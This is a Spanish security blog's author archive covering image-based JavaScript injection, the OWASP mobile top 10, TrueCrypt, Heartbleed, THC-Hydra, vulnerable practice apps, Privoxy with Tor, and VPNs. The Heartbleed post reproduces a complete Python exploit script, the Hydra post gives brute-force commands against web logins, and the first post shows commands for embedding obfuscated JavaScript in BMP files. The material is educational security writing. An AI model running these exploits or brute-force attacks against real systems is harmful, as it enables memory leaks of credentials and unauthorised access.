Author Archives: pablomartinez

  • 1

Hacking a través de imágenes

Tags :

Category : Ciberseguridad , Exploit

¿Es posible ejecutar código malicioso a través de una imagen?.
Navegando un poco me encontre un artículo muy interesante sobre una técnica de hacking a través de imágenes.
Un script en python que puede embeber código javascript dentro de una imagen bmp, dejando esta
imagen correctamente para que se muestre en el navegador.
Un ejemplo de una página web que podría contener una imagen con un script malicioso

 

<html>
<head>
<title> favorites / bookmark title goes here </title>
</head>
<body>
<h1> My malicius image page </h1>
<img src=”/home/pablo/hacks/bmp1.bmp” >
<script src = “/home/pablo/hacks/bmp1.bmp” >
</body>
</html>

Como se ve la imagen y el script son el mismo archivo
Para crear este imagen bmp maliciosa podemos usar el siguiente script creado por Marco Ramilli, espcialista en security research. marcoramilli.blogspot.com y que el mismo ha colgado en pastebin.
http://pastebin.com/04y7ee3u

Con el mismo Marco explica, es  una implementación  para sacar partido a ciertos bugs que  algunas librerias que manejan el parseo de los bitmaps contienen. Lo que hace es injectar código javascript dentro de la imagen. ¿Pero como es posible que una imagen ejecute código javascript?
El primer paso consiste en crear la imagen maliciosa que se insertaría en un servidor web.

 

python bmpinjector.py.py  -i image.bmp "alert("test");"
 |======================================================================================================|
 | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
 | It is the end user's responsibility to obey all applicable local, state and federal laws.            |
 | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
 |======================================================================================================|
                    
[+] Finished!

 

La idea es crear una cabecera de archivo BMP con x2Fx2A y luego cerrarlo con  x2Ax2F. El servidor intentará verificar el archivo como un archvo javascript, de ahí esta modificación de las cabeceras del archivo . Para que sea un archivo javascript válido, necesita usar la header (x42x4D) como una variable y/o parte del código, es por esto último que se necesita injectar también la expresión like “=1;” o más comunmente usada “=a”. Asi que el incrustado del payload requiere de ciertas cadenas para que el servidor interprete que el archivo es válido, tanto como bmp como javascript.

Para hacer una prueba vamos a ejecutar el script con un simple alert.
python bmpinjector.py -i bmp1.bmp “alert(“test”);”
Ahora vamos a ejecutar el script para generar un payload de ejemplo más avanzado ofuscando el código:

 

python bmpinjector.py -i bmp1.bmp "var _0x9c4c=["x48x65x6Cx6Cx6Fx20x57x6Fx72x6Cx64x21","x0A","x4Fx4B"];var a=_0x9c4c[0];function MsgBox(_0xccb4x3){alert(_0xccb4x3+_0x9c4c[1]+a);} ;MsgBox(_0x9c4c[2]);"

Esta vulnerabilidad ya ha sido corregida en la mayoría de servidores y/o navegadores, pero no en todos, como siempre habrá alguno que no esté actualizado y demuestra una vez más que hay formas muy diversas de ejecutar código malicioso insertado en todo tipo de objetos que luego manejan los servidores.

Articulo completo [eng]:
http://marcoramilli.blogspot.com.es/2013/10/hacking-through-images.html


  • 1

OWASP Mobile Security Project

Selección_004Ahora que se acercan las vacaciones, empezamos o a pensar en la cantidad de nuevas vulnerabilidades encontradas para los distintos sistemas operativos de los móviles de los últimos meses, pues son fechas en las que tendemos a utilizar estos, en especial los que tienen acceso a redes 3G/4G y por supuesto incorporan tecnología wireless, vamos, lo que se dice un  smartphone.

Así que la gran pregunta es si se puede usar el móvil con seguridad y privacidad cuando estamos fuera de casa, a sabiendas de los riesgos que supuestamente corremos al conectarnos a redes desconocidas y/o no confiables. Tanto es así que hasta se ha creado una agencia europea. ENISA es la agencia europea por la información y la seguridad en la red y en su web podemos encontrar su propio top 10 de estos riesgos. Si profundizamos en esta web podemos ver que hay una descripción de los posibles ataques y sus posibles ejecuciones, pero siendo un poco crítico con Enisa tengo que decir que tienen que actualizar la información, si bien, Enisa sigue de cerca y tiene colaboración con OWASP, he observado que la información que está exponiende corresponde mayormente al año 2010 y que dicha información tiene en mi humilde opinión una catalogación menos precisa de estos riesgos. De hecho los riegos 1,2 y 3 que Enisa clasifica vienen englobados en la categoría M2 de OWASP.

Top Ten Smartphone Risks. EU Enisa

OWASP es sin duda la fundación que en este momento ofrece una auténtica metodología de trabajo en torno a la seguridad bajo una perspectiva libre y eficiente, así que ¿Por qué no vamos a hacerles más caso y ver que nos ofrecen al respecto?. En estos momentos el este proyecto tiene poco más de unos años de desarrollo pero es prometedor 
OWASP Mobile Project 2012 Goals

Selección_005

En el siguiente vídeo se nos muestra el Top 10 de vulnerabilidades encontradas en los últimos 3 años, esto es, desde el 2011, para dispositivos móviles. Cuales son los nuevos y últimos ataques y sus tipos. Que está cambiando respecto a estos 3 últimos años en cuanto al tipo de ataques y sus riesgos, además nos da una perspectiva general de como está en este momento la seguridad en el entorno del mundo del smartphone, a esta presentación le han puesto de título OWASP Top 10 Mobile Risks: 2014 Reboot, creo con la doble intención de hacer entender que el proceso de auditoría de seguridad en continuo y como un toque de atención a desarrolladores y empresas para que pongan más esfuerzos en desarrollar tecnología confiable y segura.

 


A la izquierda las viejas amenazas y su antigua clasificación (en gris), a la derecha la nueva clasificación de las amenazas.

Selección_007Selección_008

Traduciendo todo esto:

M1 Weak Server Side Controls: Ataques del lado del servidor. Los atacantes buscan vulnerabilidades en los servidores y una vez explotadas estas vulnerabilidades inyectan código maliciosos que luego intentarán apoderarse de nuestro terminal o ejecutar más código malicioso en el.
M2 Insecure Data Storage: Almacenamiento inseguro de datos. Se refiere mayormente a la perdida o robo de dispositivos móviles y el almacenamiento inseguro de los datos que este contiene.
M3 Insufficient Transport Layer Protection: Insuficiencia en la capa de transporte. Como se protege el transporte de los datos respecto a terceros que podrían estar ecuchando.
M4 Unintended Data Leakage: Se refiere a la perdida de datos por desentendimiento entre las aplicaciones y por ejemplo, el sistema operativo, hardware nuevo, nuevas configuraciones.
M5 Poor Authorization and Authentication: Pobre autorización y autenticación. Ya sean tokens u otros modos de autorización, una aplicación que se precie tiene siempre que evitar estos errores graves de seguridad.
M6 Broken Cryptography:  Criptografía rota. Mala praxis a la hora de utilizar criptografía obsoleta o rota.
M7 Client Side Injection: Inyecciones del lado del cliente. Siempre que un usuario este expuesto, puede existir la posibilidad de verse atacado por algún exploit o sniffing directamente contra su terminal. Inyección de código malicioso del lado del cliente.
M8 Security Decisions Via Untrusted Inputs: Decisiones de seguridad a través de entrada no confiables. Se supone que una aplicación móvil debería solo interactuar con otras aplicaciones confiables, dado que el si la aplicación utiliza software no confiable este podría contener código que aún no siendo malicioso podría ser aprovechado para realizar un ataque contra un terminal.
M9 Improper Session Handling: Impropio mantenimiento de la sesión. Mantener la vigilancia de las sesiones es tan importancia como su establecimiento en condiciones de seguridad. Si no se crean mecanismos para controlar una sesión ya sea mediante tokens u otros sistemas, es posible que alguien pudiera aprovechar el momento propicio para suplantar la misma.
M10 Lack of Binary Protections: Falta de protección en binarios. Es un tema controvertido puesto que existe mucho software bajo licencia GNU. Pero se hace referencia a que cualquier desalmado podría apoderarse de los posibles beneficios que podría generar una aplicación en el mercado si no se protegen adecuadamente los binarios. Mediante por ejemplo ingeniería reversa.


Conclusiones: Día a día nos encontramos con noticias de spyware, malware, y todo tipo de software malicioso orientado a los móviles, hay q tener clara dos cosas. Una, el smartphone almacena información personal y dos, es un ordenador con conectividad, por lo tanto es subceptible sufrir ataques por ejemplo contra la privacidad, tales como que nos “espien el whatsapp”. Sería de sentido común popularizar la idea de que la privacidad es una obligación más que un ocultamiento y de que un teléfono no es tan personal como muchos se creen.

Más info y presentaciones
Top Ten Mobile Risks
OWASP Mobile Security Project


  • 0

TrueCrypt , ¿Quieres guardar un secreto?

logo38px TrueCrypt es un software para encriptación de datos de código abierto y la mantención de un volumen de encriptación On-the-fly de los datos de un sistema operativo encriptado en una partición.
Entre sus características más destacables nos encontramos:
– Capacidad para encriptar particiones, como si se tratasen de un solo fichero
– Puede encriptar particiones enteras o un dispositivo extraíble como un USB.
– Puede encriptar la partición de un sistema operativo, introduciendo un sistema de autenticación
previo a la carga del mismo.
– La encriptación se hace en tiempo real y transparente. Encryption on-the- fly(*ver más abajo)
– La paralelización y el pipelining le permiten usar dicha partición ser leída y escrita con un
rendimiento similar al de un disco no encriptado.
– La encriptación puede ser acelerada en aquellos procesadores modernos que lo permiten,
a través del hardware-accelerated AES encryption
– Provee de un sistema de denegación pausible. Por ejemplo si alguien te obligase a revelar la clave
mediante la fuerza, mediante el uso de volúmenes ocultos.

*Encriptación On-the-fly significa que los datos son automáticamente encriptados o desencriptados justo antes que esta sea cargados, o guardados, sin intervención de parte del usuario. Además todo esto se hace siempre en la memoria del sistema con lo cual los datos nunca se ven grabados o leídos en otro soporte. Esto permite ejecutar el sistema operativo con el sistema de archivos entero  encriptado, así como su contenido, sin casi reducir el rendimiento del sistema.

¿Como se consigue que un atacante, no pueda descubrir los datos ocultos, incluso si nos vemos obligados a entregarle la contraseña, por ejemplo, vamos a suponer, que nos estén extorsionando?


Antes de nada hay que decir que este sistema requiere de una partición cifrada previa que llamamos volumen oculto, a diferencia de un volumen stardard de truecrypt, que no es más que un archivo cifrado,  los datos en esa partición se encuentran de por sí indescifrables puesto que se escriben datos aleatorios en vez de hacerse un formateo habitual, con lo cual se hace indistinguible un fichero de volumen de truecryp del resto de los datos de la partición.  TrueCrypt soporta tanto particiones ocultas, como particiones del sistema operativo encriptadas (on-the-fly) , con una utilidad para la carga del mismo que se llama TrueCrypt bootloader, esto quiere decir que se puede instalar por ejemplo, una copia de Windows7 dentro de una partición encriptada, meter la clave, arrancarlo y aún así sería imposible discernir que datos contienen el volumen oculto de truecrypt en esta. Como se habrá adivinado, hacen falta dos claves, una para descifrar el los datos de la partición encriptada  y otra para descifrar los datos en el volumen truecrypt. Además aunque el atacante nos haya obligado a entregar la clave de la partición cifrada, el volumen oculto de truecrypt sigue siendo indistinguible del resto de los datos de la partición, así que el atacante no podrá saber si existe un volumen oculto en la misma.

Como funciona:
TrueCrypt primero intentará descifrar el encabezado de volumen estándar utilizando la contraseña introducida. Si no lo consigue , se carga la zona del volumen en el que una cabecera de volumen oculto se puede almacenar es decir,de 65.536 a 131.071 bytes , que contienen datos únicamente al azar cuando no hay un volumen oculto dentro del volumen en la memoria RAM e intenta descifrarlo utilizando el contraseña introducida. Tenga en cuenta que los encabezados de volumen oculto no puede ser identificado , ya que parecen consistir enteramente en datos aleatorios. Si el encabezado se descifra con éxito, la información sobre el tamaño del volumen oculto se recupera de la cabecera e descifrado almacenada en la memoria RAM , y el volumen oculto se monta.

hidden-volume


Además esta herramienta viene con un asistente que facilitará la tarea de crea un volumen cifrado de forma muy intuitiva y con un gran número de opciones, como los tipos de algoritmos criptográficos que se pueden utilizar. En muy cómodos pasos a cualquiera que lo desee crear un volumen cifrado de truecrypt o una partición cifrada que contenga volúmenes cifrados, sin complicaciones.

 

xps_wizardciphers

 

Conclusión. Es buena idea guardar de esta forma información que no se quiera revelar a terceros, sobre todo si se almacenase en una máquina que pudiera ser vulnerable a algún tipo de ataque informático. Hay que tener en cuenta que muchas veces se producen ataques sobre las cuentas de usuario para hacerse con sus contraseñas y acceder a los archivos a los que estos tienen acceso o a archivos compartidos, una de las advertencias que nos hace truecrypt es la de usar una clave de más de 20 digitos, frente a los entre 8 y 12 que suelen utilizar los usuarios más confiados, esto obliga a usar otra clave más larga y más consistente que la del usuario. De esta forma la información solo será revelada en la memoria del sistema cuando sea descifrada y a cualquier atacante que se hiciese copia del archivo le sería ilegible, dado que desconocería la clave,  haciendo inútil todo su esfuerzo.


¿Quieres guardar un secreto? Pues guárdalo bien.


  • 1

El exploit de Heartbeat “El latido de SSL”


Heartbleed_bug_explainedUn error grave en el código fuente de una de las librerías que maneja SSL ha estado permitiendo la extracción de información de servicios de internet que utilizan el protocolo de comunicaciones basados en SSL desde al menos el 2011. Muchos servidores y máquinas de internet han sido expuestos a la posible fuga de información. El error fue descubierto por un técnico de Google en Diciembre del año pasado.

El Heartbeat, es un mensaje que le indica al servidor que el cliente está “vivo”, simplemente para evitar el cierre de la comunicación. El problema por el cual, el programador que ya ha pedido disculpas por su error, se produce esta inseguridad es por la falta de comprobación de la longitud de entrada de la información al hacer ese envío en la función dtls1_process_heartbeat de ssl/di_both.c

Este latido, más conocido como un “keep alive” (mantener vivo) consiste en que el cliente envía un paquete de datos de 5Bytes, el servidor los recibe y los devuelve, de esta forma se comprueba que efectivamente, sí el servidor nos responde con una “copia”, hay comunicación. Pero en el proceso el servidor almacena los datos en memoria,  de ahí que diga “copia”.

El fallo:
¿Que pasa si le decimos al servidor que queremos unos datos del tamaño de 100kb pero en realidad solo le enviamos 5Bytes? Pues en este caso el fallo, se basa en esto mismo, alterando la longitud del campo, el servidor responderá con un campo igual de largo y en el proceso arrastrará consigo datos de memoria que no corresponden con el destinado a responder a esos Bytes, enviando además datos adyacentes a la cabecera, hasta 64kb por vez. Muchos pensarán que esto no ocurriría en otros lenguajes de programación pero en C es necesario restringir el acceso de las variables en memoria si no se quiere que ocurran estas cosas, sobre todo si la información se va a devolver a un cliente.


¿Que puede suponer esta vulnerabilidad?
Podría ser una lotería porque la asignación de memoria y su reserva dinámica se comportan de forma aleatoria, el atacante podría obtener muchos datos aleatorios, pero a su vez también podría obtener contraseñas y usuarios de los que estuviesen accediendo a un servidor en ese momento o llegar incluso a volcar la memoria del servidor por completo, sería una cuestión de paciencia, pero en cualquier momento seguro que podría revelar algo confidencial.

@yahoo your login servers are vulnerable for the OpenSSL #heartbleed
attack, exposing usernames and plain passwords pic.twitter.com/v8kddiP0Yo
Enlace permanente de imagen incrustada


¿Como saber si un sitio está comprometido? https://filippo.io/Heartbleed/


Han creado también un sitio web para información sobre la vunerabilidad  Le han llamado al sitio heartbleed por una deformación del lenguaje que sa ha quedado en ser un corazón ensangrentado http://heartbleed.com/

Para mitigar los daños ya se ha parcheado la vulnerabilidad, es buena idea comprobar que ha actualizado sus librerias SSL.

Además se disponen de herramientas para testear el fallo:

Un script para comprobar con nmap si está presente la vulnerabilidad https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Exploit escrito en python

# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]

#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('n', '').decode('hex')

version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

def create_hello(version):
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
    return hello

def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)         print '  %04x: %-48s %s' % (b, hxdat, pdat)     print    def recvall(s, length, timeout=5):     endtime = time.time() + timeout     rdata = ''     remain = length     while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:             return None         r, w, e = select.select([s], [], [], 5)         if s in r:             data = s.recv(remain)             # EOF?             if not data:                 return None             rdata += data             remain -= len(data)     return rdata       def recvmsg(s):     hdr = recvall(s, 5)     if hdr is None:         print 'Unexpected EOF receiving record header - server closed connection'         return None, None, None     typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break

        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(create_hb(version[i][1]))
        if hit_hb(s,create_hb(version[i][1])):
            #Stop if vulnerable
            break

if __name__ == '__main__':
    main()

 


Como se aprecia por el tuit, hasta Yahoo se vió afectada por este bug, ¿Cuánto tiempo y cuántas veces ha sido utilizado? Pues bien, aparentemente, por su naturaleza “inofensiva” no habría sido detectado de forma rutinaria, puesto que no hay un comportamiento anómalo que delataría la presencia de un fallo, bug, agujero de seguridad, un hacker, etc, pero en este caso, excepto esa pequeña información de 64kb excedente todo resultaría aparentemente normal.

Esperemos que de aquí en adelante el programador, que como ya dije, se ha disculpado y el resto de la comunidad vigilará más de cerca la implementación de de estas librerías en un proceso continuo de evaluación de riesgos de seguridad, ya que SSL es una de las bases en las que se asientan las comunicaciones cifradas hoy en día.

Pablo Martínez. TeamSec


  • 0

THC-Hydra

Hydxhydrara es una herramienta de auditoría que se basa en la fuerza bruta, es especialmente versátil dado que soporta un gran número de servicios con los que puede intentar comunicarse repetidamente, además es multithread (multihilo), con lo cual puede ejecutar varios intentos simultáneamente, claro está, si estos intentos no son rechazados.

https://www.thc.org/thc-hydra/

Puede utilizarse y se ha utilizado para obtener contraseñas, como ya dije, intenta comunicarse con un servicio y como ya es comprensible, al utilizar un servicio normalmente, este necesita que introduzcamos un nombre de usuario y una contraseña. Puede ser nuestro correo, nuestra cuenta de voip, o algo más interno, como la contraseña de configuración de un router wifi. Hydra automatiza el trabajo de prueba y error que supondría tener que intentar esto mismo a mano, es una de esas herramientas que funcionan con la nada sofisticada pero si eficaz técnica de la fuerza bruta.

Hydra es especialmente útil en cuanto a ataques a autenticación web. Podemos adecuar el ataque por fuerza bruta a numerosos escenarios de autenticación web, si antes previamente sabemos cual utiliza.

El descubrimiento de los métodos de autenticación de una página web nos ayudará a conformar un ataque acorde al sistema de autenticación y, a no ser que se hayan implementado unos sistemas muy restrictivos en muchos casos nos vamos a encontrar unos formularios html básicos, simplemente, por ejemplo mirando el código fuente de la página, que normalmente va a contener unas etiquetas como estas:

<form method="POST" action="login">
<input type="text" name="username">
<input type="password" name="password"> </form>

Como se ve el formulario cumple su función, recoge los datos usuario y contraseña y los envía mediante el método POST.

Vamos a poner tres ejemplos de hydra para usar la fuerza bruta contra autenticaciones web:

Ejecutar hydra para que simule la autenticación HTTP Básica. Correspondería al formulario anterior

hydra -L lista_usuarios -P diccionario 168.5.78.95 http-head /zonausuarios/

Fuerza bruta contra HTTP Digest Authentication. Digest authentication añade un poco más de seguridad a la autenticación cifrando la contraseña con el algoritmo MD5, pero básicamente el uso de hydra es el mismo

hydra -l admin -P diccionario 168.5.78.95 http-get /usuarios

Fuerza bruta para HTML Form Based Authentication

Vamos a suponer que nos encontramos una web, con un formulario de autenticación donde podemos ver estas etiquetas html:

<form name="input" action="login.php" method="post">
<input type="text" name="user">
<input type="password" name="password">

Cuando introducimos mal el usuario el sistema nos comunica un error–> Not allowed. Con esta información podemos conformar una ataque con hydra de la siguiente manera

hydra -L lista_usuarios -P diccionario 168.5.78.95
https-post-form "/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

La potencia de hydra reside en su flexibilidad a través de opciones que nos ofrece, ya que además de soportar una gran cantidad de servicios, podemos modificar su comportamiento, pudiendo conseguir que el ataque no sea detectado como tal si el sistema ofrece alguna protección contra numerosos intentos de autenticación.

Opciones del programa hydra:

.-R restaura una sesión previa, ya sea abortada o interrumpida

-S Conexión SSL

-s <PORT> Especifica el puerto si es distinto al puerto por defecto del servicio

-l <LOGIN> o -L <FILE> si usamos -l tendremos que poner un nombre de usuario único si usamos -L podemos hacer que hydra pruebe con una lista de usuarios

-p <PASS> o -P <FILE> Si usamos -p hydra usará una única password. Esta opción es útil cuando se conoce que un dispositivo de red contiene un usuario y contraseña por defecto en combinación con la opción -M, por ejemplo.Si usamos -P hydra usará un archivo de passwords, o más concretamente un diccionario de passwords

-e <ns> -checkeos adicionales para passwords nulos y/o intentar usar el nombre de usuario como password

-C <FILE> Podemos usar un archivo con el formato “login:pass” en vez de proporcionar las opciones -L y -P

-M <FILE> – Usando esta opción podemos decirle a hydra que ataque en paralelo a una lista de servidores

-o <FILE> Escribirá las contraseñas encontradas en un archivo FILE

-f salir después del primer login/password encontrado. Esto detiene hydra cuando encuentra un resultado positivo.

-t <TASKS> número de conexiones en paralelo que deseamos para le proceso(16 por defecto)

-w Se puede definir el tiempo de espera entre respuestas (30 por defecto)

-v / -V Define el modo de reporte mostrando el modo verbose o mostrando el login + password de cada intento

server El servidor objetivo si no hemos usado la opcion -M

service Servicio a crackear. Protocolos soportados: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp.

HydraGTK es la versión GUI de hydra, y es útil para el que no quiera perder el tiempo con la consola e ir directamente al ataque, igual de potente y flexible.

hydra

Hydra es una esas herramientas que nos enseñan que es muy fácil forzar la seguridad con un mecanismo tan simple como la fuerza bruta. Ojo, no todos los usos de hydra tienen porqué ser maliciosos, pues ha sido muchas veces utilizado para recuperar contraseñas que otros habían olvidado 😉


  • 0

Damn Vulnerables Applications

Vamos a hacer un pequeño repaso de algunas herramientas para los que quieren comenzar con el pentesting sin meterse en “líos” y sin complicaciones, ya que, en su mayoría son live cds que podemos arrancar en una máquina virtual. Esto nos permitirá adecuar el escenario en el que vamos a realizar la auditoría, normalmente un ordenador en el mismo rango de ip que el auditor y con su consentimiento ya que es él mismo.

 

Hacking de aplicaciones Web
dvwaDVWA

DVWA Es una web escrita en PHP que nos ofrece un montón de vulnerabilidades por explotar, entre otras, fuerza bruta, SQLi, SSX, etc. Es muy fácil de instalar puesto que tiene una versión livecd o bien podemos publicarla en un servidor web propio. Nos permite configurarla en 3 niveles de dificultad. Está aplicación es genial si lo que se quiere es entender la mecánica de la obtención de datos a través de inyecciones SQL y además ver en vivo como funciona.

webgoat

WebGoat
Ya había mencionando a WebGoat en un artículo anterior sobre OWASP. Esta aplicación incluye incluso más vulnerabilidades que la anterior y por lo tanto más exhaustiva, funciona en cualquier sistema operativo que permita instalar una máquina virtual de java, ya que está escrito en dicho lenguaje.

Hay muchas otras aplicaciones con vulnerabilidades que podemos encontrar por internet, ya sea en forma de livecd o de página web. Hay numerosos grupos de hackers y expertos en seguridad que las publican para que los novatos practiquen y/o incluso ingresen a sus grupos, si superan los retos correspondientes.

 

Hacking iOS

dvwiosDVIA
Para testear tus skills en hacking de sistemas iOS  en varios aspectos de la seguridad, como puede ser el almacenamiento inseguro o la detección del jailbreak entre otros tantos. Todos basados en vulnerabilidades ya parcheadas de iOS, pero que no deja de ser interesante por ello.

 

Hacking en sistemas linux

hacking_dojo
Hacking dojo
Hacking dojo es una web que ofrece servicios de instrucción en cuanto al pentesting, e-learning en 5 niveles, de novicio a más avanzado.
En esta web podrás encontrar varios live cd muy interesantes, cuando los arrancas, en ellos se encuentran normalmente instalado un servidor web donde indica cual es el objetivo que tenemos que lograr. Estas distribuciones vulnerables están basadas en linux y exigen conocimientos sobre algunos aspectos del sistema, pero a su vez nos embarcará en una serie de retos muy interesantes que nos obligarán a pensar “out of the box” y enfrentarnos al escenario típico de un servidor al que queremos sacar la clave del root.


  • 0

Privoxy

Privoxy es un proxy web sin almacenamiento en caché con capacidades avanzadas de filtrado para mejorar la privacidad. Lo hace modificando las cabeceras HTTP y datos de las páginas web que visitemos, controlando el acceso, eliminando alertas incomodas de la navegación y evitando que los sitios web que visitemos obtengan información de nuestra interactuación con esta. Privoxy tiene una configuración flexible y puede ser personalizado para satisfacer las necesidades y gustos individuales. Tiene aplicación tanto para los sistemas autónomos como para redes multiusuario.

Privoxy es software libre bajo licencia GNU GPLv2. Y tiene su versión en cada uno de los Sistemas operativos más utilizados

Privoxy no esconde su ip, le protege pero no en ese sentido, para esconder una ip es necesario utilizar un servicio de VPN o un servicio como TOR , u otros proxys. También podemos encadenar varios proxys, con utilidades como proxychains o bien hacer combinaciones entre estos servicios.

http://torvpn.com/howitworks.html

 

Combinando TOR y Privoxy

Utilizar privoxy añadirá privacidad a nuestra conexión a la red de TOR, puesto que aunque naveguemos utilizando esta red, nuestro navegador seguiría el mismo comportamiento normal, entregando datos verídicos sobre que navegador usamos, versión, sistema operativo y otros que podrían afectar directa e indirectamente a la privacidad del usuario, sin embargo todos esos datos serían alterados por privoxy, haciendo difícil establecer un patrón de comportamiento del visitante de la web, y/o obtener datos acerca de su software, credenciales, etc. De esta forma es casi imposible establecer una correlación entre el tráfico de origen y el visitante en cada momento que se haga click en una página web, esto mismo intenta el TORBoundle

Además podemos configurar privoxy para que encamine el tráfico hacia otros proxys. En linux editando /etc/privoxy/config y añadiendo una linea al final del mismo parecida a estas.

forward-socks4 / proxy1.org:1024 .
forward-http / proxy2.org:8080 .
forward-socks5 / 192.10.23.66:8081 .

Como se puede apreciar, se le indica a privoxy que tipo de proxy, dirección y puerto del proxy por donde encaminará el tráfico, este proxy no tiene porque ser http asi que podemos usar TOR como el proxy que privoxy usará, añadiendo al final por ejemplo esta línea:

forward-socks5 / 127.0.0.1:9050 .

#recordar que privoxy, en linux es un servicio, así que,
#para que cargue la nueva configuración es necesario reniciarlo

service privoxy restart

Despúes de esto podemos configurarlo como nuestro proxy http en el navegador, este corre en el puerto 8118 por defecto y  privoxy funcionando a través de socks de TOR.

 

privoxy

 

Muchas aplicaciones en linux tienen la opción de utilizar un proxyweb para su funcionamiento, en muchos casos porque no tienen entre sus funcionalidades la opción de usar socks, por lo tanto siempre puede ser útil a la hora de encaminar tráfico hacia el exterior en ocasiones que lo requieran. Por su puesto, privoxy puede hacer las funciones de un proxy transparente por lo cual puede ser una buena idea a la hora de securizar la navegación de usuarios a través de una red.

Pablo Martínez. TeamSec


  • 0

VPN y túnel ssh para navegar sin censura

VPN Virtual Private Network

La redes privadas virtuales no son más que conexiones de internet que van cifradas y con algunos sistemas de verificación e integridad sobre la conexión. Estas redes son utilizadas por las compañías que quieren mantener la confidencialidad de sus comunicaciones en una WAN. Por ejemplo imaginemos una empresa que necesita comunicaciones seguras entre dos sedes de la misma distintas, una en una ciudad y otra en otra, la única manera que tendría de conectar los servicios telemáticos de las dos sedes sería mediante internet.

¿Que por qué querría una empresa cifrar su tráfico?
Pues bien sencillo, hoy en día se utilizan muchos dispositivos móviles con acceso a puntos de redes inalámbricos, hoy en día más que nunca cualquiera podría estar escuchando su tráfico, en TeamSec pensamos que no importa la confianza en el entorno empresarial en cuanto a la seguridad. Ya sea su compañero de trabajo o su jefe, el 75% de los ataques en sedes de compañías se han producido dentro de la infraestructura informática de la empresa, ya fuese fuga de información, daños, etc. No es que seamos paranoicos, son recomendaciones basadas en hechos probados.

Vpn
El protocolo estándar de de VPN es IPSEC, pero existen otros protocolos PPPT, L2F, L2TP, SSL/TLS, SSH, etc. Cada uno con sus ventajas y desventajas.

Que nos ofrece una VPN:

Integridad de los datos- La encriptación de los datos es tan importante como que no sean cambiados o alterados durante su circulación. Por ejemplo, IPsec incluye  un mecanismo para asegurar que la parte encriptada del paquete, el encabezado completo y los datos del paquete IP o datagramas IP, no han sido alterados. Si se detectase alguna modificación, el paquete es descartado. Esta integridad de los datos también involucra autenticar el remote peer, esto es, la otra parte de la comunicación, que deberá  compartir su clave pública para completar el protocolo, como por ejemplo un certificado ssl.

